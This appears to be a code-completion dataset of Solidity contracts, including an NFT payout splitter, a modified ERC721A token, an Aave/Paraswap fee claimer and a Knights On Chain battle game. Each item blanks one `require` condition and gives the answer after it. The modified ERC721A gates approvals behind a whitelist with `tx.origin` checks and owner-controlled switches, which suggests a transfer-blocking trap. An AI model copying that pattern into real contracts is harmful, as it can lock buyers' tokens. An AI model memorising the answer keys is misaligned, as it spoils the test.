for (uint256 i = currentPayEventCounter + 1; i <= payEventCount; i++) {
if (groupId == 1) {
totalPayment += payEventData[i].coreGroupShare / memberData[msg.sender].nfts.length;
} else if (groupId == 2) {
totalPayment += payEventData[i].allArtistShare / nftsMinted;
} else if (groupId == 3) {
totalPayment += payEventData[i].holderShare / nftsMinted;
}
}
}
// Include artist single sales amount if the member is an artist
if (nftIdToArtist[memberData[msg.sender].nfts[0]] == msg.sender) {
totalPayment += memberData[msg.sender].unclaimedSingleSales;
memberData[msg.sender].unclaimedSingleSales = 0;
}
require(totalPayment > 0, "No payment due");
// Update the member's payEventCounter to the current payEventCount + 1
memberData[msg.sender].payEventCounter = payEventCount + 1;
// Transfer the payment to the member
payable(msg.sender).transfer(totalPayment);
}
receive() external payable {
}
}
|
memberData[msg.sender].groupIds.length>0,"Address not found in any group"
| 208,977 |
memberData[msg.sender].groupIds.length>0
|
"Invalid proof!"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
error ApprovalCallerNotOwnerNorApproved();
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable,
Ownable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
bytes32 public ListWhitelistMerkleRoots; //////////////////////////////////////////////////////////////////////////////////////////////////////// new 1
//Allow all tokens to transfer to contract
bool public ContractIsdeny = false; ///////////////////////////////////////////////////////////////////////////////////////////////////// new 2
bool private Offoron = false; ///////////////////////////////////////////////////////////////////////////////////////////////////// new 2
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping token to allow to transfer to contract
mapping(uint256 => bool) public _ToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1
mapping(address => bool) public _addressToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
function setContractIsdeny () external onlyOwner {
}
function setTokenToContract(uint256 _tokenId, bool _allow) external onlyOwner {
}
function setAddressToContract(address[] memory _address, bool[] memory _allow) external onlyOwner {
}
function setListWhitelistMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isInTheWhitelist(bytes32[] calldata _merkleProof) public view returns (bool) {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bytes32 leaf2 = keccak256(abi.encodePacked(tx.origin));
require(<FILL_ME>)
return true;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
function approve(address to, uint256 tokenId, bytes32[] calldata _merkleProof) public {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
function cStop() internal view returns (bool){
}
function switchBack() external onlyOwner{
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
function setApprovalForAll(address operator, bool approved, bytes32[] calldata _merkleProof) public {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate Offoron `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} Offoron a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
|
MerkleProof.verify(_merkleProof,ListWhitelistMerkleRoots,leaf)||MerkleProof.verify(_merkleProof,ListWhitelistMerkleRoots,leaf2),"Invalid proof!"
| 209,123 |
MerkleProof.verify(_merkleProof,ListWhitelistMerkleRoots,leaf)||MerkleProof.verify(_merkleProof,ListWhitelistMerkleRoots,leaf2)
|
'PARASWAP_FEE_CLAIMER_REQUIRED'
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {IFeeClaimer} from '../interfaces/IFeeClaimer.sol';
import {IERC20} from '../interfaces/IERC20.sol';
/**
* @title AaveParaswapFeeClaimer
* @author BGD Labs
* @dev Helper contract that allows claiming paraswap partner fee to the collector on the respective network.
*/
contract AaveParaswapFeeClaimer {
address public aaveCollector;
IFeeClaimer public paraswapFeeClaimer;
/**
* @dev initializes the collector so that the respective treasury receives the rewards
*/
function initialize(address _aaveCollector, IFeeClaimer _paraswapFeeClaimer)
public
{
require(<FILL_ME>)
require(_aaveCollector != address(0), 'COLLECTOR_REQUIRED');
require(aaveCollector == address(0), 'ALREADY_INITIALIZED');
aaveCollector = _aaveCollector;
paraswapFeeClaimer = _paraswapFeeClaimer;
}
/**
* @dev returns claimable balance for a specified asset
* @param asset The asset to fetch claimable balance of
*/
function getClaimable(address asset) public view returns (uint256) {
}
/**
* @dev returns claimable balances for specified assets
* @param assets The assets to fetch claimable balances of
*/
function batchGetClaimable(address[] memory assets)
public
view
returns (uint256[] memory)
{
}
/**
* @dev withdraws a single asset to the collector
* @notice will revert when there's nothing to claim
* @param asset The asset to claim rewards of
*/
function claimToCollector(IERC20 asset) external {
}
/**
* @dev withdraws all asset to the collector
* @notice will revert when there's nothing to claim on a single supplied asset
* @param assets The assets to claim rewards of
*/
function batchClaimToCollector(address[] memory assets) external {
}
}
|
address(_paraswapFeeClaimer)!=address(0),'PARASWAP_FEE_CLAIMER_REQUIRED'
| 209,356 |
address(_paraswapFeeClaimer)!=address(0)
|
'Game can not be edited anymore'
|
pragma solidity ^0.8.4;
/**
* @title Knights On Chain
* @dev Developed by unicornfloor.eth, raysa.eth, sauli
*/
contract Knights is ERC721A, PullPayment {
using Strings for uint256;
//____ERC721A__Variables___________________________________________________________________________________________________________________
bool public mintEnabled = false;
uint256 public mintCost = 0.06 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 5;
string public uriPrefix = '';
string public uriSuffix = '.json';
//____Game__Variables___________________________________________________________________________________________________________________
address private owner;
address private operator;
WaitingRoomData[] private waitingRoom;
uint256 private basePower = 70;
uint256 public costPerBattle = 0.03 ether;
bool public editingIsDisabled = false;
bytes32 private merkleRoot;
//____Game__Structs___________________________________________________________________________________________________________________
struct WaitingRoomData {
uint256 knightId;
address userAddress;
uint256 playPrice;
}
struct Knight {
uint256 id;
uint256 level;
string headType;
string weaponType;
}
//____Game__Mappings___________________________________________________________________________________________________________________
mapping(uint256 => Knight) private db;
mapping(string => mapping(string => uint16)) public weakness;
//____Events___________________________________________________________________________________________________________________
event BattleResult(
address indexed _winner,
address indexed _loser,
uint256 _winnerKnight,
uint256 _loserKnight,
uint256 _winnerDamage,
uint256 _loserDamage,
uint256 _ethEarned,
uint256 _generatedRand
);
event EtherReceived(
address indexed _from,
uint256 _value
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() ERC721A('Knights On Chain', 'Knights') {
}
/**
* @dev Receive from any account.
*/
receive() external payable {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
/**
* @dev Returns the address of the current owner.
*/
function getOwner() public view onlyOwner returns (address) {
}
/**
* @dev Get sender's value.
*/
function _msgValue() internal view returns (uint256) {
}
/**
* @dev Update owner of the contract to a new account (`_newOwner`).
* Can only be called by the current owner.
*/
function updateOwner(address _newOwner) public onlyOwner {
}
function _getWinner(address _player1, address _player2, uint256 _damage1, uint256 _damage2) private view returns (address, uint) {
}
function updateBattlePrice(uint256 _newBattlePrice) public onlyOwner {
}
function disableEditing() public onlyOwner {
}
function setMintingState(bool _newState) public onlyOwner {
}
function updateOperator(address _newOperator) public onlyOwner {
}
function addKnightsToDB(
uint16 initialId,
string[] memory headTypes,
string[] memory weaponTypes
) public {
require(owner == _msgSender() || operator == _msgSender(), 'caller is not authorized');
require(
headTypes.length == weaponTypes.length,
'headTypes and weaponTypes must have the same length.'
);
require(initialId <= maxSupply, 'initialId must be less than maxSupply');
require(initialId >= _startTokenId(), 'initialId must be greater than or equal to _startTokenId');
require(<FILL_ME>)
for (uint16 i = 0; i < headTypes.length; i++) {
uint16 id = initialId + i;
db[id].id = id;
db[id].headType = headTypes[i];
db[id].weaponType = weaponTypes[i];
}
}
function getKnightDB(uint256 id) public view returns (Knight memory) {
}
function setWeaknesses(
string[] memory _types,
string[][] memory _weaknesses,
uint16 _weaknessesValues
) public {
}
function getEffect(string memory _type, string memory _effect) private view returns (uint16) {
}
function getDamage(
string memory _receiverHeadType,
string memory _attackerHeadType,
string memory _attackerAttackType,
uint256 _attackerLevel
) private view returns (uint256) {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function getMerkleRoot() public view onlyOwner returns (bytes32) {
}
function battle(uint256 _knightId) public payable returns (bool battleSuccess) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// mint
function mint(uint256 _mintAmount)
public
payable
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
}
// mintMerkle
function mintMerkle(string[] memory _headType, string[] memory _weaponType, bytes32[][] calldata _merkleProof, uint8 _mintAmount)
public
payable
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
}
// Reserve Knights
function reserveKnights(address _receiver, uint256 _mintAmount) public onlyOwner {
}
}
|
!editingIsDisabled,'Game can not be edited anymore'
| 209,431 |
!editingIsDisabled
|
'Price: error'
|
pragma solidity ^0.8.4;
/**
* @title Knights On Chain
* @dev Developed by unicornfloor.eth, raysa.eth, sauli
*/
contract Knights is ERC721A, PullPayment {
using Strings for uint256;
//____ERC721A__Variables___________________________________________________________________________________________________________________
bool public mintEnabled = false;
uint256 public mintCost = 0.06 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 5;
string public uriPrefix = '';
string public uriSuffix = '.json';
//____Game__Variables___________________________________________________________________________________________________________________
address private owner;
address private operator;
WaitingRoomData[] private waitingRoom;
uint256 private basePower = 70;
uint256 public costPerBattle = 0.03 ether;
bool public editingIsDisabled = false;
bytes32 private merkleRoot;
//____Game__Structs___________________________________________________________________________________________________________________
struct WaitingRoomData {
uint256 knightId;
address userAddress;
uint256 playPrice;
}
struct Knight {
uint256 id;
uint256 level;
string headType;
string weaponType;
}
//____Game__Mappings___________________________________________________________________________________________________________________
mapping(uint256 => Knight) private db;
mapping(string => mapping(string => uint16)) public weakness;
//____Events___________________________________________________________________________________________________________________
event BattleResult(
address indexed _winner,
address indexed _loser,
uint256 _winnerKnight,
uint256 _loserKnight,
uint256 _winnerDamage,
uint256 _loserDamage,
uint256 _ethEarned,
uint256 _generatedRand
);
event EtherReceived(
address indexed _from,
uint256 _value
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() ERC721A('Knights On Chain', 'Knights') {
}
/**
* @dev Receive from any account.
*/
receive() external payable {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
/**
* @dev Returns the address of the current owner.
*/
function getOwner() public view onlyOwner returns (address) {
}
/**
* @dev Get sender's value.
*/
function _msgValue() internal view returns (uint256) {
}
/**
* @dev Update owner of the contract to a new account (`_newOwner`).
* Can only be called by the current owner.
*/
function updateOwner(address _newOwner) public onlyOwner {
}
function _getWinner(address _player1, address _player2, uint256 _damage1, uint256 _damage2) private view returns (address, uint) {
}
function updateBattlePrice(uint256 _newBattlePrice) public onlyOwner {
}
function disableEditing() public onlyOwner {
}
function setMintingState(bool _newState) public onlyOwner {
}
function updateOperator(address _newOperator) public onlyOwner {
}
function addKnightsToDB(
uint16 initialId,
string[] memory headTypes,
string[] memory weaponTypes
) public {
}
function getKnightDB(uint256 id) public view returns (Knight memory) {
}
function setWeaknesses(
string[] memory _types,
string[][] memory _weaknesses,
uint16 _weaknessesValues
) public {
}
function getEffect(string memory _type, string memory _effect) private view returns (uint16) {
}
function getDamage(
string memory _receiverHeadType,
string memory _attackerHeadType,
string memory _attackerAttackType,
uint256 _attackerLevel
) private view returns (uint256) {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function getMerkleRoot() public view onlyOwner returns (bytes32) {
}
function battle(uint256 _knightId) public payable returns (bool battleSuccess) {
require(<FILL_ME>)
require(ownerOf(_knightId) == _msgSender(), 'owner: Your dont own that NFT');
if (waitingRoom.length >= 1) {
uint256 contractFee = ((waitingRoom[0].playPrice + _msgValue()) / 100) * 2;
_asyncTransfer(owner, contractFee);
// Prize - contract fee
uint256 winnerProfit = (waitingRoom[0].playPrice + _msgValue()) - contractFee;
// Waiting player data
string memory waitingPlayerHeadType = db[waitingRoom[0].knightId].headType;
string memory waitingPlayerWeaponType = db[waitingRoom[0].knightId].weaponType;
// New player data
string memory newPlayerHeadType = db[_knightId].headType;
string memory newPlayerWeaponType = db[_knightId].weaponType;
uint256 newPlayerAttackDamage = getDamage(
waitingPlayerHeadType,
newPlayerHeadType,
newPlayerWeaponType,
db[_knightId].level
);
uint256 waitingPlayerAttackDamage = getDamage(
newPlayerHeadType,
waitingPlayerHeadType,
waitingPlayerWeaponType,
db[waitingRoom[0].knightId].level
);
(address winner, uint generatedRand) = _getWinner(_msgSender(), waitingRoom[0].userAddress, newPlayerAttackDamage, waitingPlayerAttackDamage);
if (winner == waitingRoom[0].userAddress) {
_asyncTransfer(waitingRoom[0].userAddress, winnerProfit);
// increase winner level
if (db[waitingRoom[0].knightId].level < 100) {
db[waitingRoom[0].knightId].level += 1;
}
// emit battle result
emit BattleResult(
waitingRoom[0].userAddress,
_msgSender(),
waitingRoom[0].knightId,
_knightId,
waitingPlayerAttackDamage,
newPlayerAttackDamage,
winnerProfit,
generatedRand
);
} else {
_asyncTransfer(_msgSender(), winnerProfit);
// increase winner level
if (db[_knightId].level < 100) {
db[_knightId].level += 1;
}
// emit battle result
emit BattleResult(
_msgSender(),
waitingRoom[0].userAddress,
_knightId,
waitingRoom[0].knightId,
newPlayerAttackDamage,
waitingPlayerAttackDamage,
winnerProfit,
generatedRand
);
}
waitingRoom.pop();
// battle did happen
return true;
}
waitingRoom.push(WaitingRoomData(_knightId, _msgSender(), _msgValue()));
return false;
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// mint
function mint(uint256 _mintAmount)
public
payable
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
}
// mintMerkle
function mintMerkle(string[] memory _headType, string[] memory _weaponType, bytes32[][] calldata _merkleProof, uint8 _mintAmount)
public
payable
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
}
// Reserve Knights
function reserveKnights(address _receiver, uint256 _mintAmount) public onlyOwner {
}
}
|
_msgValue()>=costPerBattle,'Price: error'
| 209,431 |
_msgValue()>=costPerBattle
|
'owner: Your dont own that NFT'
|
pragma solidity ^0.8.4;
/**
* @title Knights On Chain
* @dev Developed by unicornfloor.eth, raysa.eth, sauli
*/
contract Knights is ERC721A, PullPayment {
using Strings for uint256;
//____ERC721A__Variables___________________________________________________________________________________________________________________
bool public mintEnabled = false;
uint256 public mintCost = 0.06 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 5;
string public uriPrefix = '';
string public uriSuffix = '.json';
//____Game__Variables___________________________________________________________________________________________________________________
address private owner;
address private operator;
WaitingRoomData[] private waitingRoom;
uint256 private basePower = 70;
uint256 public costPerBattle = 0.03 ether;
bool public editingIsDisabled = false;
bytes32 private merkleRoot;
//____Game__Structs___________________________________________________________________________________________________________________
struct WaitingRoomData {
uint256 knightId;
address userAddress;
uint256 playPrice;
}
struct Knight {
uint256 id;
uint256 level;
string headType;
string weaponType;
}
//____Game__Mappings___________________________________________________________________________________________________________________
mapping(uint256 => Knight) private db;
mapping(string => mapping(string => uint16)) public weakness;
//____Events___________________________________________________________________________________________________________________
event BattleResult(
address indexed _winner,
address indexed _loser,
uint256 _winnerKnight,
uint256 _loserKnight,
uint256 _winnerDamage,
uint256 _loserDamage,
uint256 _ethEarned,
uint256 _generatedRand
);
event EtherReceived(
address indexed _from,
uint256 _value
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() ERC721A('Knights On Chain', 'Knights') {
}
/**
* @dev Receive from any account.
*/
receive() external payable {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
/**
* @dev Returns the address of the current owner.
*/
function getOwner() public view onlyOwner returns (address) {
}
/**
* @dev Get sender's value.
*/
function _msgValue() internal view returns (uint256) {
}
/**
* @dev Update owner of the contract to a new account (`_newOwner`).
* Can only be called by the current owner.
*/
function updateOwner(address _newOwner) public onlyOwner {
}
function _getWinner(address _player1, address _player2, uint256 _damage1, uint256 _damage2) private view returns (address, uint) {
}
function updateBattlePrice(uint256 _newBattlePrice) public onlyOwner {
}
function disableEditing() public onlyOwner {
}
function setMintingState(bool _newState) public onlyOwner {
}
function updateOperator(address _newOperator) public onlyOwner {
}
function addKnightsToDB(
uint16 initialId,
string[] memory headTypes,
string[] memory weaponTypes
) public {
}
function getKnightDB(uint256 id) public view returns (Knight memory) {
}
function setWeaknesses(
string[] memory _types,
string[][] memory _weaknesses,
uint16 _weaknessesValues
) public {
}
function getEffect(string memory _type, string memory _effect) private view returns (uint16) {
}
function getDamage(
string memory _receiverHeadType,
string memory _attackerHeadType,
string memory _attackerAttackType,
uint256 _attackerLevel
) private view returns (uint256) {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function getMerkleRoot() public view onlyOwner returns (bytes32) {
}
function battle(uint256 _knightId) public payable returns (bool battleSuccess) {
require(_msgValue() >= costPerBattle, 'Price: error');
require(<FILL_ME>)
if (waitingRoom.length >= 1) {
uint256 contractFee = ((waitingRoom[0].playPrice + _msgValue()) / 100) * 2;
_asyncTransfer(owner, contractFee);
// Prize - contract fee
uint256 winnerProfit = (waitingRoom[0].playPrice + _msgValue()) - contractFee;
// Waiting player data
string memory waitingPlayerHeadType = db[waitingRoom[0].knightId].headType;
string memory waitingPlayerWeaponType = db[waitingRoom[0].knightId].weaponType;
// New player data
string memory newPlayerHeadType = db[_knightId].headType;
string memory newPlayerWeaponType = db[_knightId].weaponType;
uint256 newPlayerAttackDamage = getDamage(
waitingPlayerHeadType,
newPlayerHeadType,
newPlayerWeaponType,
db[_knightId].level
);
uint256 waitingPlayerAttackDamage = getDamage(
newPlayerHeadType,
waitingPlayerHeadType,
waitingPlayerWeaponType,
db[waitingRoom[0].knightId].level
);
(address winner, uint generatedRand) = _getWinner(_msgSender(), waitingRoom[0].userAddress, newPlayerAttackDamage, waitingPlayerAttackDamage);
if (winner == waitingRoom[0].userAddress) {
_asyncTransfer(waitingRoom[0].userAddress, winnerProfit);
// increase winner level
if (db[waitingRoom[0].knightId].level < 100) {
db[waitingRoom[0].knightId].level += 1;
}
// emit battle result
emit BattleResult(
waitingRoom[0].userAddress,
_msgSender(),
waitingRoom[0].knightId,
_knightId,
waitingPlayerAttackDamage,
newPlayerAttackDamage,
winnerProfit,
generatedRand
);
} else {
_asyncTransfer(_msgSender(), winnerProfit);
// increase winner level
if (db[_knightId].level < 100) {
db[_knightId].level += 1;
}
// emit battle result
emit BattleResult(
_msgSender(),
waitingRoom[0].userAddress,
_knightId,
waitingRoom[0].knightId,
newPlayerAttackDamage,
waitingPlayerAttackDamage,
winnerProfit,
generatedRand
);
}
waitingRoom.pop();
// battle did happen
return true;
}
waitingRoom.push(WaitingRoomData(_knightId, _msgSender(), _msgValue()));
return false;
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// mint
function mint(uint256 _mintAmount)
public
payable
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
}
// mintMerkle
function mintMerkle(string[] memory _headType, string[] memory _weaponType, bytes32[][] calldata _merkleProof, uint8 _mintAmount)
public
payable
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
}
// Reserve Knights
function reserveKnights(address _receiver, uint256 _mintAmount) public onlyOwner {
}
}
|
ownerOf(_knightId)==_msgSender(),'owner: Your dont own that NFT'
| 209,431 |
ownerOf(_knightId)==_msgSender()
|
'Invalid proof!'
|
pragma solidity ^0.8.4;
/**
* @title Knights On Chain
* @dev Developed by unicornfloor.eth, raysa.eth, sauli
*/
contract Knights is ERC721A, PullPayment {
using Strings for uint256;
//____ERC721A__Variables___________________________________________________________________________________________________________________
bool public mintEnabled = false;
uint256 public mintCost = 0.06 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 5;
string public uriPrefix = '';
string public uriSuffix = '.json';
//____Game__Variables___________________________________________________________________________________________________________________
address private owner;
address private operator;
WaitingRoomData[] private waitingRoom;
uint256 private basePower = 70;
uint256 public costPerBattle = 0.03 ether;
bool public editingIsDisabled = false;
bytes32 private merkleRoot;
//____Game__Structs___________________________________________________________________________________________________________________
struct WaitingRoomData {
uint256 knightId;
address userAddress;
uint256 playPrice;
}
struct Knight {
uint256 id;
uint256 level;
string headType;
string weaponType;
}
//____Game__Mappings___________________________________________________________________________________________________________________
mapping(uint256 => Knight) private db;
mapping(string => mapping(string => uint16)) public weakness;
//____Events___________________________________________________________________________________________________________________
event BattleResult(
address indexed _winner,
address indexed _loser,
uint256 _winnerKnight,
uint256 _loserKnight,
uint256 _winnerDamage,
uint256 _loserDamage,
uint256 _ethEarned,
uint256 _generatedRand
);
event EtherReceived(
address indexed _from,
uint256 _value
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() ERC721A('Knights On Chain', 'Knights') {
}
/**
* @dev Receive from any account.
*/
receive() external payable {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
/**
* @dev Returns the address of the current owner.
*/
function getOwner() public view onlyOwner returns (address) {
}
/**
* @dev Get sender's value.
*/
function _msgValue() internal view returns (uint256) {
}
/**
* @dev Update owner of the contract to a new account (`_newOwner`).
* Can only be called by the current owner.
*/
function updateOwner(address _newOwner) public onlyOwner {
}
function _getWinner(address _player1, address _player2, uint256 _damage1, uint256 _damage2) private view returns (address, uint) {
}
function updateBattlePrice(uint256 _newBattlePrice) public onlyOwner {
}
function disableEditing() public onlyOwner {
}
function setMintingState(bool _newState) public onlyOwner {
}
function updateOperator(address _newOperator) public onlyOwner {
}
function addKnightsToDB(
uint16 initialId,
string[] memory headTypes,
string[] memory weaponTypes
) public {
}
function getKnightDB(uint256 id) public view returns (Knight memory) {
}
function setWeaknesses(
string[] memory _types,
string[][] memory _weaknesses,
uint16 _weaknessesValues
) public {
}
function getEffect(string memory _type, string memory _effect) private view returns (uint16) {
}
function getDamage(
string memory _receiverHeadType,
string memory _attackerHeadType,
string memory _attackerAttackType,
uint256 _attackerLevel
) private view returns (uint256) {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function getMerkleRoot() public view onlyOwner returns (bytes32) {
}
function battle(uint256 _knightId) public payable returns (bool battleSuccess) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
